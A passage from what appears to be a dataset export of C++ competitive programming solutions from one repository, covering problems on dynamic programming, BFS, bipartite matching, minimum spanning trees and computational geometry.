"/COJ/eliogovea-cojAC/eliogovea-p3724-Accepted-s1009560.cpp", "repo_name": "eliogovea/solutions_cp", "src_encoding": "UTF-8", "text": "#include <bits/stdc++.h>\r\n\r\nusing namespace std;\r\n\r\nint main() {\r\n\tios::sync_with_stdio(false);\r\n\tcin.tie(0);\r\n\t//freopen(\"dat.txt\", \"r\", stdin);\r\n\tstring s;\r\n\tcin >> s;\r\n\tint h = 10 * (s[0] - '0') + (s[1] - '0');\r\n\tif (s[8] == 'P') {\r\n\t if (h != 12) {\r\n h += 12;\r\n\t }\r\n\t} else {\r\n if (h == 12) {\r\n h = 0;\r\n }\r\n\t}\r\n\tif (h < 10) {\r\n\t\tcout << \"0\";\r\n\t}\r\n\tcout << h << s.substr(2, 6) << \"\\n\";\r\n}\r\n" }, { "alpha_fraction": 0.3137255012989044, "alphanum_fraction": 0.33006536960601807, "avg_line_length": 17.1875, "blob_id": "a1639484efb8b4cd5f17d3861e4a2b435bb1876f", "content_id": "3ad91eb6f4c838f8afdff8cf240d7d0f275545f3", "detected_licenses": [], "is_generated": false, "is_vendor": false, "language": "C++", "length_bytes": 612, "license_type": "no_license", "max_line_length": 48, "num_lines": 32, "path": "/COJ/eliogovea-cojAC/eliogovea-p3195-Accepted-s787891.cpp", "repo_name": "eliogovea/solutions_cp", "src_encoding": "UTF-8", "text": "#include <bits/stdc++.h>\r\n\r\nusing namespace std;\r\n\r\nconst int N = 10000;\r\n\r\nint n, t, x;\r\nbool dp[N + 5];\r\nint ans = -1;\r\n\r\nint main() {\r\n ios::sync_with_stdio(false);\r\n cin.tie(false);\r\n cin >> n;\r\n dp[0] = true;\r\n while (n--) {\r\n cin >> x;\r\n t += x;\r\n for (int i = N; i >= x; i--) {\r\n dp[i] |= dp[i - x];\r\n }\r\n }\r\n for (int i = 0; i <= t; i++) {\r\n if (dp[i]) {\r\n int tmp = i * i + (t - i) * (t - i);\r\n if (ans == -1 || tmp < ans) {\r\n ans = tmp;\r\n }\r\n }\r\n }\r\n cout << ans << \"\\n\";\r\n}" }, { "alpha_fraction": 0.39608433842658997, "alphanum_fraction": 0.45331326127052307, "avg_line_length": 19.079364776611328, "blob_id": "9a1a1b30662b78afd8405754fec18ff11c2064e9", "content_id": "8201727e250e65f8d4338b12b630b180d9db6e1d", "detected_licenses": [], "is_generated": false, "is_vendor": false, "language": "C++", "length_bytes": 1328, "license_type": "no_license", "max_line_length": 84, "num_lines": 63, "path": "/COJ/eliogovea-cojAC/eliogovea-p1414-Accepted-s547336.cpp", "repo_name": "eliogovea/solutions_cp", "src_encoding": "UTF-8", "text": "#include<cstdio>\r\n#include<iostream>\r\n#include<queue>\r\n#define MAXN 8\r\nusing namespace std;\r\n\r\nconst int mov[][2]={{1,2},{2,1},{-1,2},{2,-1},{1,-2},{-2,1},{-1,-2},{-2,-1}};\r\nint tab[8][8][8][8];\r\nqueue<pair<int,int> >Q;\r\n\r\nvoid BFS(int i, int j)\r\n{\r\n\ttab[i][j][i][j]=0;\r\n\tfor(int ii=0; ii<8; ii++)\r\n\t\tfor(int jj=0; jj<8; jj++)\r\n\t\t\ttab[i][j][ii][jj]=1<<29;\r\n\r\n\ttab[i][j][i][j]=0;\r\n\tQ.push(make_pair(i,j));\r\n\twhile(!Q.empty())\r\n\t{\r\n\t\tint ii=Q.front().first;\r\n\t\tint jj=Q.front().second;\r\n\t\tQ.pop();\r\n\r\n\t\tfor(int r=0; r<8; r++)\r\n\t\t{\r\n\t\t\tint ni=ii+mov[r][0];\r\n\t\t\tint nj=jj+mov[r][1];\r\n\r\n\t\t\tif(ni>=0 && ni<8 && nj>=0 && nj<8)\r\n\t\t\t\tif(tab[i][j][ni][nj] > tab[i][j][ii][jj]+1)\r\n\t\t\t\t{\r\n\t\t\t\t\ttab[i][j][ni][nj] = tab[i][j][ii][jj]+1;\r\n\t\t\t\t\tQ.push(make_pair(ni,nj));\r\n\t\t\t\t}\r\n\t\t}\r\n\r\n\t}\r\n}\r\n\r\nint p1i,p1j,p2i,p2j;\r\nstring line;\r\nchar pos1[2],pos2[2],pc1,pc2;\r\n\r\nint main()\r\n{\r\n\tfor(int i=0; i<8; i++)\r\n\t\tfor(int j=0; j<8; j++)\r\n\t\t\tBFS(i,j);\r\n\r\n while(getline(cin,line))\r\n {\r\n if(line==\"## ##\")return 0;\r\n int p1i=line[0]-'a';\r\n int p1j=line[1]-'0'-1;\r\n int p2i=line[3]-'a';\r\n int p2j=line[4]-'0'-1;\r\n int ans=tab[p1i][p1j][p2i][p2j];\r\n cout << \"To get from \" << line[0] << line[1] << \" to \" << line[3] << line[4]\r\n << \" takes \" << ans << \" knight moves.\" << endl;\r\n }\r\n}\r\n" }, { "alpha_fraction": 0.5229681730270386, "alphanum_fraction": 0.554770290851593, "avg_line_length": 16.866666793823242, "blob_id": "6ef9fc1e40ee750fc8c6577baa1cb9b73d5fe345", "content_id": "db581fb617ecf8314227eb875709c5de30f2aeea", "detected_licenses": [], "is_generated": false, "is_vendor": false, "language": "C++", "length_bytes": 283, "license_type": "no_license", "max_line_length": 102, "num_lines": 15, "path": "/COJ/eliogovea-cojAC/eliogovea-p1110-Accepted-s545177.cpp", "repo_name": "eliogovea/solutions_cp", "src_encoding": "UTF-8", "text": "#include<cstdio>\r\n\r\nint cases;\r\ndouble x,y;\r\n\r\nint main()\r\n{\r\n\tscanf(\"%d\",&cases);\r\n\tfor(int i=1; i<=cases; i++)\r\n\t{\r\n\t\tscanf(\"%lf%lf\",&x,&y);\r\n\t\tprintf(\"Property %d: This property will begin eroding in year %d.\\n\",i,int(3.14*(x*x+y*y)/100.0)+1);\r\n\t}\r\n\tprintf(\"END OF OUTPUT.\");\r\n}\r\n" }, { "alpha_fraction": 0.32491663098335266, "alphanum_fraction": 0.343973308801651, "avg_line_length": 16.638654708862305, "blob_id": "d13eca6be14e09f8b327139cf42f9c275b07faf0", "content_id": "f6f3e81013b2d0d2f82aa641471e10a71c44cd6b", "detected_licenses": [], "is_generated": false, "is_vendor": false, "language": "C++", "length_bytes": 2099, "license_type": "no_license", "max_line_length": 54, "num_lines": 119, "path": "/Codeforces-Gym/101241 - 2013-2014 Wide-Siberian Olympiad: Onsite round/06.cpp", "repo_name": "eliogovea/solutions_cp", "src_encoding": "UTF-8", "text": "// 2013-2014 Wide-Siberian Olympiad: Onsite round\n// 10124106\n\n#include <bits/stdc++.h>\n\nusing namespace std;\n\nint get_id( char x ){\n if( x == '{' ){\n return 0;\n }\n if( x == '<' ){\n return 1;\n }\n if( x == '(' ){\n return 2;\n }\n if( x == '[' ){\n return 3;\n }\n if( x == '}' ){\n return 4;\n }\n if( x == '>' ){\n return 5;\n }\n if( x == ')' ){\n return 6;\n }\n if( x == ']' ){\n return 7;\n }\n}\n\ninline bool isempty( vector<int> &x ){\n return (x[0]+x[1]+x[2]+x[3] == 0);\n}\n\nvector<int> get_next( string &s, int &i, bool &open ){\n int n = s.size();\n vector<int> cnt( 4 , 0 );\n if( i == n ){\n return cnt;\n }\n\n open = (get_id(s[i]) < 4);\n while( i < n && (get_id(s[i])<4) == open ){\n cnt[ get_id(s[i]) % 4 ]++;\n i++;\n }\n\n return cnt;\n}\n\nbool ok( string &s ){\n stack<vector<int> > st;\n\n int n = s.size();\n\n int i = 0;\n while( i < n ){\n bool open = false;\n vector<int> x = get_next( s , i , open );\n\n if( open ){\n st.push(x);\n continue;\n }\n\n while( !st.empty() && !isempty(x) ){\n vector<int> o = st.top(); st.pop();\n\n for( int j = 0; j < 4; j++ ){\n if( o[j] >= x[j] ){\n o[j] -= x[j];\n x[j] = 0;\n }\n else{\n x[j] -= o[j];\n o[j] = 0;\n }\n }\n\n if( !isempty(o) ){\n if( !isempty(x) ){\n return false;\n }\n st.push(o);\n }\n }\n\n if( !isempty(x) ){\n return false;\n }\n }\n\n return st.empty();\n}\n\nint main() {\n\tios::sync_with_stdio(false);\n\tcin.tie(0);\n\n\tfreopen(\"input.txt\", \"r\", stdin);\n\tfreopen(\"output.txt\", \"w\", stdout);\n\n int tc; cin >> tc;\n\n while( tc-- ){\n string s; cin >> s;\n\n if( ok(s) ){\n cout << \"T\\n\";\n }\n else{\n cout << \"NIL\\n\";\n }\n }\n}\n" }, { "alpha_fraction": 0.3322668969631195, "alphanum_fraction": 0.36425960063934326, "avg_line_length": 22.52688217163086, "blob_id": "3a2a3da6358e79dc4cc0bc5df3cefe85760db530", "content_id": "03ee86852d9ca55ed3a2795cecaebe85e898abc7", "detected_licenses": [], "is_generated": false, "is_vendor": false, "language": "C++", "length_bytes": 2188, "license_type": "no_license", "max_line_length": 73, "num_lines": 93, "path": "/Codeforces-Gym/100765 - 2005-2006 ACM-ICPC, NEERC, Southern Subregional Contest/I.cpp", "repo_name": "eliogovea/solutions_cp", "src_encoding": "UTF-8", "text": "// 2005-2006 ACM-ICPC, NEERC, Southern Subregional Contest\n// 100765I\n\n#include <bits/stdc++.h>\n\nusing namespace std;\n\nint n, k, p;\nint cost_gum[650];\nint tooth[650];\nvector <pair <int, int> > gum[650];\n\nvector <int> sum_gum[650];\n\nint dp[650][650];\n\nint sum[650];\n\nint rec[650][650];\n\nconst int INF = 1e9;\n\nint main() {\n ios::sync_with_stdio(false);\n cin.tie(0);\n //freopen(\"dat.txt\", \"r\", stdin);\n cin >> n >> k >> p;\n for (int i = 1; i <= k; i++) {\n cin >> cost_gum[i];\n }\n for (int i = 1; i <= n; i++) {\n int g;\n cin >> tooth[i] >> g;\n gum[g].push_back(make_pair(tooth[i], i));\n }\n\n for (int i = 1; i <= k; i++) {\n sort(gum[i].begin(), gum[i].end());\n sum_gum[i].resize(gum[i].size() + 5, 0);\n sum[i] = sum[i - 1] + gum[i].size();\n for (int j = 1; j <= gum[i].size(); j++) {\n sum_gum[i][j] = sum_gum[i][j - 1] + gum[i][j - 1].first;\n }\n }\n\n for (int i = 0; i <= k; i++) {\n for (int j = 0; j <= n; j++) {\n dp[i][j] = INF;\n }\n }\n\n dp[0][0] = 0;\n\n\n for (int i = 1; i <= k; i++) {\n for (int j = 0; j <= sum[i]; j++) {\n dp[i][j] = dp[i - 1][j];\n rec[i][j] = 0;\n }\n for (int j = 1; j <= sum[i]; j++) {\n for (int l = 1; l <= gum[i].size(); l++) {\n int tmp = dp[i - 1][j - l] + cost_gum[i] + sum_gum[i][l];\n if (dp[i][j] > tmp) {\n dp[i][j] = tmp;\n rec[i][j] = l;\n }\n }\n }\n }\n vector <int> ans;\n for (int i = n; i >= 1; i--) {\n if (dp[k][i] <= p) {\n int cur = k;\n int cnt = i;\n while (cur) {\n for (int j = 0; j < rec[cur][cnt]; j++) {\n ans.push_back(gum[cur][j].second);\n }\n int tmp = cnt - rec[cur][cnt];\n cur = cur - 1;\n cnt = tmp;\n }\n break;\n }\n }\n\n cout << ans.size() << \"\\n\";\n for (int i = 0; i < ans.size(); i++) {\n cout << ans[i];\n if (i + 1 < ans.size()) cout << \" \";\n }\n cout << \"\\n\";\n}\n" }, { "alpha_fraction": 0.40550756454467773, "alphanum_fraction": 0.41414687037467957, "avg_line_length": 18.351648330688477, "blob_id": "abfe178dfb3c6dd23e201beac6a79a8af5444b9f", "content_id": "c796afca56d8149dc5f9c10fe695644ee6d6d6f1", "detected_licenses": [], "is_generated": false, "is_vendor": false, "language": "C++", "length_bytes": 1852, "license_type": "no_license", "max_line_length": 78, "num_lines": 91, "path": "/COJ/eliogovea-cojAC/eliogovea-p2571-Accepted-s693339.cpp", "repo_name": "eliogovea/solutions_cp", "src_encoding": "UTF-8", "text": "//============================================================================\r\n// Name : 2571.cpp\r\n// Author : eliogovea\r\n// Version :\r\n// Copyright : \r\n// Description : Hello World in C++, Ansi-style\r\n//============================================================================\r\n\r\n#include <cstdio>\r\n#include <vector>\r\n#include <algorithm>\r\n#include <cmath>\r\n#include <cstdlib>\r\n\r\nusing namespace std;\r\n\r\nconst int N = 405;\r\n\r\nint p[N];\r\n\r\nint find(int x) {\r\n\tif (x != p[x]) p[x] = find(p[x]);\r\n\treturn p[x];\r\n}\r\n\r\nbool join(int x, int y) {\r\n\tx = find(x);\r\n\ty = find(y);\r\n\tif (x == y) return false;\r\n\tif (rand() & 1) p[x] = y;\r\n\telse p[y] = x;\r\n\treturn true;\r\n}\r\n\r\nint n, x[N], y[N], q, mx[N][N];\r\nvector<int> G[N], D[N];\r\n\r\ninline int dist(int i, int j) {\r\n\tint dx = x[i] - x[j];\r\n\tint dy = y[i] - y[j];\r\n\treturn dx * dx + dy * dy;\r\n}\r\n\r\nstruct edge {\r\n\tint a, b, c;\r\n} e;\r\n\r\nbool operator < (const edge &a, const edge &b) {\r\n\treturn a.c < b.c;\r\n}\r\n\r\nvector<edge> E;\r\n\r\nvoid dfs(int r, int u, int par, int m) {\r\n\tmx[r][u] = m;\r\n\tfor (int i = 0; i < (int)G[u].size(); i++) {\r\n\t\tint v = G[u][i];\r\n\t\tint d = D[u][i];\r\n\t\tif (v == par) continue;\r\n\t\tdfs(r, v, u, (m < d) ? d : m);\r\n\t}\r\n}\r\n\r\nint main() {\r\n\tscanf(\"%d%d\", &n, &q);\r\n\tfor (int i = 1; i <= n; i++) {\r\n\t\tp[i] = i;\r\n\t\tscanf(\"%d%d\", x + i, y + i);\r\n\t\tfor (int j = 1; j < i; j++) {\r\n\t\t\te.a = i;\r\n\t\t\te.b = j;\r\n\t\t\te.c = dist(i, j);\r\n\t\t\tE.push_back(e);\r\n\t\t}\r\n\t}\r\n\tsort(E.begin(), E.end());\r\n\tfor (int i = 0; i < (int)E.size(); i++)\r\n\t\tif (join(E[i].a, E[i].b)) {\r\n\t\t\tG[E[i].a].push_back(E[i].b);\r\n\t\t\tD[E[i].a].push_back(E[i].c);\r\n\t\t\tG[E[i].b].push_back(E[i].a);\r\n\t\t\tD[E[i].b].push_back(E[i].c);\r\n\t\t}\r\n\tfor (int i = 1; i <= n; i++) dfs(i, i, 0, 0);\r\n\tfor (int a, b; q--;) {\r\n\t\tscanf(\"%d%d\", &a, &b);\r\n\t\tdouble ans = mx[a][b];\r\n\t\tans = sqrt(ans);\r\n\t\tprintf(\"%.2lf\\n\", ans);\r\n\t}\r\n}\r\n" }, { "alpha_fraction": 0.33556485176086426, "alphanum_fraction": 0.36485356092453003, "avg_line_length": 18.91666603088379, "blob_id": "6c98998dc42bf3864448cfb6afc4e3a57c463a21", "content_id": "2c4c16d8cec5db8e0406d4956b9d8ff9ea16a371", "detected_licenses": [], "is_generated": false, "is_vendor": false, "language": "C++", "length_bytes": 1195, "license_type": "no_license", "max_line_length": 47, "num_lines": 60, "path": "/Codeforces-Gym/100735 - KTU Programming Camp (Day 1)/H.cpp", "repo_name": "eliogovea/solutions_cp", "src_encoding": "UTF-8", "text": "// KTU Programming Camp (Day 1)\n// 100735H\n\n#include <bits/stdc++.h>\n\nusing namespace std;\n\nstring s;\nint n;\nchar cubes[105][10];\nvector<int> g[105];\nint used[105], ttt;\nint match[105];\n\nbool kuhn(int u) {\n if (used[u] == ttt) {\n return false;\n }\n used[u] = ttt;\n for (int i = 0; i < g[u].size(); i++) {\n int v = g[u][i];\n if (match[v] == -1 || kuhn(match[v])) {\n match[v] = u;\n return true;\n }\n }\n return false;\n}\n\nint main() {\n ios::sync_with_stdio(false);\n cin.tie(0);\n cin >> s >> n;\n for (int i = 0; i < n; i++) {\n for (int j = 0; j < 6; j++) {\n cin >> cubes[i][j];\n }\n }\n for (int i = 0; i < s.size(); i++) {\n for (int j = 0; j < n; j++) {\n for (int k = 0; k < 6; k++) {\n if (s[i] == cubes[j][k]) {\n g[i].push_back(j);\n break;\n }\n }\n }\n }\n for (int i = 0; i < n; i++) {\n match[i] = -1;\n }\n for (int i = 0; i < s.size(); i++) {\n ttt++;\n if (!kuhn(i)) {\n cout << \"NO\\n\";\n return 0;\n }\n }\n cout << \"YES\\n\";\n}\n" }, { "alpha_fraction": 0.5083187222480774, "alphanum_fraction": 0.528458833694458, "avg_line_length": 21.065217971801758, "blob_id": "f95030705208752020fb4a120c3e84d885c9c879", "content_id": "476b1066e9a86e95bc698b21cae80dbf4d76cd63", "detected_licenses": [], "is_generated": false, "is_vendor": false, "language": "C++", "length_bytes": 9136, "license_type": "no_license", "max_line_length": 103, "num_lines": 414, "path": "/Aizu/CGL_7_A.cpp", "repo_name": "eliogovea/solutions_cp", "src_encoding": "UTF-8", "text": "/// Geometry INT\n\n#include <bits/stdc++.h>\n\nusing namespace std;\n\ntypedef long long LL;\n\ninline int sign(const LL x) {\n\tif (x < 0) {\n\t\treturn -1;\n\t}\n\tif (x > 0) {\n\t\treturn 1;\n\t}\n\treturn 0;\n}\n\nstruct point {\n\tLL x, y;\n\tpoint() {}\n\tpoint(LL _x, LL _y) : x(_x), y(_y) {}\n};\n\nbool operator < (const point &P, const point &Q) {\n\tif (P.y != Q.y) {\n\t\treturn P.y < Q.y;\n\t}\n\treturn P.x < Q.x;\n}\n\nbool operator == (const point &P, const point &Q) {\n\treturn !(P < Q) && !(Q < P);\n}\n\nstruct compare_x {\n\tbool operator () (const point &P, const point &Q) {\n\t\tif (P.x != Q.x) {\n\t\t\treturn P.x < Q.x;\n\t\t}\n\t\treturn P.y < Q.y;\n\t}\n};\n\nvoid normalize(point &P) {\n\tassert(P.x != 0 || P.y != 0);\n\tLL g = __gcd(abs(P.x), abs(P.y));\n\tP.x /= g;\n\tP.y /= g;\n\tif (P.x < 0 || (P.x == 0 && P.y < 0)) {\n\t\tP.x = -P.x;\n\t\tP.y = -P.y;\n\t}\n}\n\ninline int half_plane(const point &P) {\n\tif (P.y != 0) {\n\t\treturn sign(P.y);\n\t}\n\treturn sign(P.x);\n}\n\npoint operator + (const point &P, const point &Q) {\n\treturn point(P.x + Q.x, P.y + Q.y);\n}\n\npoint operator - (const point &P, const point &Q) {\n\treturn point (P.x - Q.x, P.y - Q.y);\n}\n\npoint operator * (const point &P, const LL k) {\n\treturn point(P.x * k, P.y * k);\n}\n\npoint operator / (const point &P, const LL k) {\n\tassert(k != 0 && P.x % k == 0 && P.y % k == 0);\n\treturn point(P.x / k, P.y / k);\n}\n\ninline LL dot(const point &P, const point &Q) {\n\treturn P.x * Q.x + P.y * Q.y;\n}\n\ninline LL cross(const point &P, const point &Q) {\n\treturn P.x * Q.y - P.y * Q.x;\n}\n\ninline LL dist2(const point &P, const point &Q) {\n\tLL dx = P.x - Q.x;\n\tLL dy = P.y - Q.y;\n\treturn dx * dx + dy * dy;\n}\n\ninline bool is_in(LL x, LL a, LL b) {\n\tif (a > b) {\n\t\tswap(a, b);\n\t}\n\treturn (a <= x && x <= b);\n}\n\ninline bool is_in(const point &P, const point &A, const point &B) {\n\tif (cross(B - A, P - A) != 0) {\n\t\treturn false;\n\t}\n\treturn (is_in(P.x, A.x, B.x) && is_in(P.y, A.y, B.y));\n}\n\ninline bool segment_segment_intersect(const point &A, const point &B, const point &C, const point &D) {\n\tif (cross(B - A, D - C) == 0) { // lines are parallel\n\t\treturn (is_in(A, C, D) || is_in(B, C, D) || is_in(C, A, B) || is_in(D, A, B));\n\t}\n\tif (sign(cross(C - A, B - A)) * sign(cross(D - A, B - A)) > 0) {\n\t\treturn false;\n\t}\n\tif (sign(cross(A - C, D - C)) * sign(cross(B - C, D - C)) > 0) {\n\t\treturn false;\n\t}\n\treturn true;\n}\n\ninline bool is_convex(const vector <point> &polygon) {\n\tint n = polygon.size();\n\tassert(n >= 3);\n\tfor (int i = 0; i < n; i++) {\n\t\tint j = (i + 1) % n;\n\t\tint k = (i + 2) % n;\n\t\tif (sign(cross(polygon[j] - polygon[i], polygon[k] - polygon[i])) < 0) {\n\t\t\treturn false;\n\t\t}\n\t}\n\treturn true;\n}\n\nconst int OUT = 0;\nconst int ON = 1;\nconst int IN = 2;\n/// 0 outside, 1 boundary, 2 inside\ninline int point_inside_polygon(const point &P, const vector <point> &polygon) {\n\tint n = polygon.size();\n\tint cnt = 0;\n\tfor (int i = 0; i < n; i++) {\n\t\tpoint A = polygon[i];\n\t\tpoint B = polygon[(i + 1) % n];\n\t\tif (is_in(P, A, B)) {\n\t\t\treturn ON;\n\t\t}\n\t\tif (B.y < A.y) {\n\t\t\tswap(A, B);\n\t\t}\n\t\tif (P.y < A.y || B.y <= P.y || A.y == B.y) {\n\t\t\tcontinue;\n\t\t}\n\t\tif (sign(cross(B - A, P - A)) > 0) {\n\t\t\tcnt++;\n\t\t}\n\t}\n\tif (cnt & 1) {\n\t\treturn IN;\n\t}\n\treturn OUT;\n}\n\nstruct compare_angle {\n\tpoint O;\n\tcompare_angle() {}\n\tcompare_angle(point _O) {\n\t\tO = _O;\n\t}\n\tbool operator () (const point &P, const point &Q) {\n\t\tif (half_plane(P - O) != half_plane(Q - O)) {\n\t\t\treturn half_plane(P - O) < half_plane(Q - O);\n\t\t}\n\t\tint c = sign(cross(P - O, Q - O));\n\t\tif (c != 0) {\n\t\t\treturn (c > 0);\n\t\t}\n\t\treturn dist2(P, O) < dist2(Q, O);\n\t}\n};\n\n/// !!! no se como mantener los puntos colineales del convex hull\n/// not tested\nvector <point> convex_hull_graham_scan(vector <point> pts) {\n\tsort(pts.begin(), pts.end());\n\tint n = pts.size();\n\tsort(++pts.begin(), pts.end(), compare_angle(pts[0]));\n\tvector <point> ch(n);\n\tint top = 0;\n\tfor (int i = 0; i < n; i++) {\n\t\twhile (top >= 2 && cross(ch[top - 1] - ch[top - 2], pts[i] - ch[top - 2]) < 0) {\n\t\t\ttop--;\n\t\t}\n\t\tch[top++] = pts[i];\n\t}\n\tch.resize(top);\n\treturn ch;\n}\n\nvector <point> convex_hull_monotone_chain(vector <point> pts) {\n\tsort(pts.begin(), pts.end());\n\tint n = pts.size();\n\tvector <point> ch(2 * n);\n\tint top = 0;\n\tfor (int i = 0; i < n; i++) {\n\t\twhile (top >= 2 && cross(ch[top - 1] - ch[top - 2], pts[i] - ch[top - 2]) < 0) {\n\t\t\ttop--;\n\t\t}\n\t\tch[top++] = pts[i];\n\t}\n\tint size = top;\n\tfor (int i = n - 2; i >= 0; i--) {\n\t\twhile (top - size >= 1 && cross(ch[top - 1] - ch[top - 2], pts[i] - ch[top - 2]) < 0) {\n\t\t\ttop--;\n\t\t}\n\t\tch[top++] = pts[i];\n\t}\n\tif (ch[0] == ch[top - 1]) {\n\t\ttop--;\n\t}\n\tch.resize(top);\n\treturn ch;\n}\n\nint count_commont_tangents(point C1, LL r1, point C2, LL r2) {\n\tLL d2 = dist2(C1, C2);\n\t// if (r1 > r2) {\n\t\t// swap(C1, C2);\n\t\t// swap(r1, r2);\n\t// }\n\tif (d2 > (r1 + r2) * (r1 + r2)) {\n\t\treturn 4;\n\t}\n\tif (d2 == (r1 + r2) * (r1 + r2)) {\n\t\treturn 3;\n\t}\n\tif (d2 < (r1 - r2) * (r1 - r2)) {\n\t\treturn 0;\n\t}\n\tif (d2 == (r1 - r2) * (r1 - r2)) {\n\t\treturn 1;\n\t}\n\treturn 2;\n}\n\nvoid normalize_convex(vector <point> &polygon) {\n\tpolygon.erase(unique(polygon.begin(), polygon.end()), polygon.end());\n\twhile (polygon.size() > 1 && polygon[0] == polygon.back()) {\n\t\tpolygon.pop_back();\n\t}\n\trotate(polygon.begin(), min_element(polygon.begin(), polygon.end()), polygon.end());\n\tint ptr = 1;\n\tfor (int i = 1; i < polygon.size(); i++) {\n\t\tif (is_in(polygon[i], polygon[i - 1], polygon[i + 1 == polygon.size() ? 0 : i + 1]));\n\t\tpolygon[ptr++] = polygon[i];\n\t}\n\tpolygon.resize(ptr);\n}\n\n// apply normalize_convex before\ninline int inside_convex(const point &P, const vector <point> &polygon) {\n\tint n = polygon.size();\n\tassert(n >= 3);\n\tif (cross(P - polygon[0], polygon[1] - polygon[0]) > 0) {\n\t\treturn OUT;\n\t}\n\tif (cross(polygon[n - 1] - polygon[0], P - polygon[0]) > 0) {\n\t\treturn OUT;\n\t}\n\tif (cross(P - polygon[0], polygon[1] - polygon[0]) == 0) {\n\t\treturn (is_in(P, polygon[0], polygon[1]) ? ON : OUT);\n\t}\n\tif (cross(polygon[n - 1] - polygon[0], P - polygon[0]) == 0) {\n\t\treturn (is_in(P, polygon[0], polygon[n - 1]) ? ON : OUT);\n\t}\n\tint lo = 2;\n\tint hi = n - 1;\n\tint pos = hi;\n\twhile (lo <= hi) {\n\t\tint mid = (lo + hi) >> 1;\n\t\tif (cross(P - polygon[0], polygon[mid] - polygon[0]) >= 0) {\n\t\t\tpos = mid;\n\t\t\thi = mid - 1;\n\t\t} else {\n\t\t\tlo = mid + 1;\n\t\t}\n\t}\n\tint s = sign(cross(polygon[pos] - polygon[pos - 1], P - polygon[pos - 1]));\n\tif (s == 0) {\n\t\treturn ON;\n\t}\n\treturn ((s > 0) ? IN : OUT);\n}\n\n//http://judge.u-aizu.ac.jp/onlinejudge/description.jsp?id=CGL_2_B\n// test OK\nvoid test_segment_segment_intersection() {\n\tint q;\n\tcin >> q;\n\twhile (q--) {\n\t\tpoint A, B, C, D;\n\t\tcin >> A.x >> A.y >> B.x >> B.y >> C.x >> C.y >> D.x >> D.y;\n\t\tcout << (segment_segment_intersect(A, B, C, D) ? \"1\" : \"0\") << \"\\n\";\n\t}\n}\n\n// http://judge.u-aizu.ac.jp/onlinejudge/description.jsp?id=CGL_3_B\n// test OK\nvoid test_is_convex() {\n\tint n;\n\tcin >> n;\n\tvector <point> polygon(n);\n\tfor (int i = 0; i < n; i++) {\n\t\tcin >> polygon[i].x >> polygon[i].y;\n\t}\n\tcout << (is_convex(polygon) ? \"1\" : \"0\") << \"\\n\";\n}\n\n// http://judge.u-aizu.ac.jp/onlinejudge/description.jsp?id=CGL_3_C\n// test OK\nvoid test_point_inside_polygon() {\n\tint n;\n\tcin >> n;\n\tvector <point> polygon(n);\n\tfor (int i = 0; i < n; i++) {\n\t\tcin >> polygon[i].x >> polygon[i].y;\n\t}\n\tint q;\n\tcin >> q;\n\twhile (q--) {\n\t\tpoint P;\n\t\tcin >> P.x >> P.y;\n\t\tcout << point_inside_polygon(P, polygon) << \"\\n\";\n\t}\n}\n\n// http://judge.u-aizu.ac.jp/onlinejudge/description.jsp?id=CGL_2_A\n// test ok\nvoid test_parallel_orthogonal() {\n\tint q;\n\tcin >> q;\n\twhile (q--) {\n\t\tpoint A, B, C, D;\n\t\tcin >> A.x >> A.y >> B.x >> B.y >> C.x >> C.y >> D.x >> D.y;\n\t\tint answer = 0;\n\t\tif (cross(B - A, D - C) == 0) {\n\t\t\tanswer = 2;\n\t\t} else if (dot(B - A, D - C) == 0) {\n\t\t\tanswer = 1;\n\t\t}\n\t\tcout << answer << \"\\n\";\n\t}\n}\n\n// http://judge.u-aizu.ac.jp/onlinejudge/description.jsp?id=CGL_4_A\n// test ok\nvoid test_convex_hull() {\n\tint n;\n\tcin >> n;\n\tvector <point> pts(n);\n\tfor (int i = 0; i < n; i++) {\n\t\tcin >> pts[i].x >> pts[i].y;\n\t}\n\tvector <point> answer = convex_hull_monotone_chain(pts);\n\tcout << answer.size() << \"\\n\";\n\tfor (int i = 0; i < answer.size(); i++) {\n\t\tcout << answer[i].x << \" \" << answer[i].y << \"\\n\";\n\t}\n}\n\n// http://judge.u-aizu.ac.jp/onlinejudge/description.jsp?id=CGL_1_C\n// test OK\nvoid test_counter_clockwise() {\n\tpoint A, B;\n\tcin >> A.x >> A.y >> B.x >> B.y;\n\tint q;\n\tcin >> q;\n\twhile (q--) {\n\t\tpoint C;\n\t\tcin >> C.x >> C.y;\n\t\tint s = sign(cross(B - A, C - A));\n\t\tif (s != 0) {\n\t\t\tcout << ((s > 0) ? \"COUNTER_CLOCKWISE\" : \"CLOCKWISE\") << \"\\n\";\n\t\t} else {\n\t\t\tif (dot(B - A, C - A) < 0) {\n\t\t\t\tcout << \"ONLINE_BACK\\n\";\n\t\t\t} else {\n\t\t\t\tcout << (dist2(A, B) < dist2(A, C) ? \"ONLINE_FRONT\" : \"ON_SEGMENT\") << \"\\n\";\n\t\t\t}\n\t\t}\n\t}\n}\n\n// http://judge.u-aizu.ac.jp/onlinejudge/status.jsp#submit/CGL_7/A\n// test ???\nvoid test_count_common_tangents() {\n\tpoint C1, C2;\n\tLL r1, r2;\n\tcin >> C1.x >> C1.y >> r1 >> C2.x >> C2.y >> r2;\n\tint answer = count_commont_tangents(C1, r1, C2, r2);\n\tcout << answer << \"\\n\";\n}\n\nint main() {\n\tios::sync_with_stdio(false);\n\tcin.tie(0);\n\n\t// test_segment_segment_intersection();\n\t// test_is_convex();\n\t// test_point_inside_polygon();\n\t// test_parallel_orthogonal();\n\t// test_convex_hull();\n\t// test_counter_clockwise();\n\ttest_count_common_tangents();\n}\n\n" }, { "alpha_fraction": 0.3519400954246521, "alphanum_fraction": 0.39823007583618164, "avg_line_length": 14.88505744934082, "blob_id": "47a49ff3a2cb170e477833c9c7c5b1cb898f405a", "content_id": "961db060ec0535e04297364a6ed7ac2b1e1fe404", "detected_licenses": [], "is_generated": false, "is_vendor": false, "language": "C++", "length_bytes": 1469, "license_type": "no_license", "max_line_length": 53, "num_lines": 87, "path": "/COJ/eliogovea-cojAC/eliogovea-p3361-Accepted-s827136.cpp", "repo_name": "eliogovea/solutions_cp", "src_encoding": "UTF-8", "text": "#include <bits/stdc++.h>\r\n\r\nusing namespace std;\r\n\r\ntypedef long long ll;\r\n\r\nconst int N = 200005;\r\n\r\nconst ll inf = 1000000000000000000LL;\r\n\r\nint n;\r\nll p;\r\n\r\nint t[4 * N];\r\n\r\nvoid build(int x, int l, int r) {\r\n\tif (l == r) {\r\n\t\tt[x] = 1;\r\n\t} else {\r\n\t\tint m = (l + r) >> 1;\r\n\t\tbuild(2 * x, l, m);\r\n\t\tbuild(2 * x + 1, m + 1, r);\r\n\t\tt[x] = t[2 * x] + 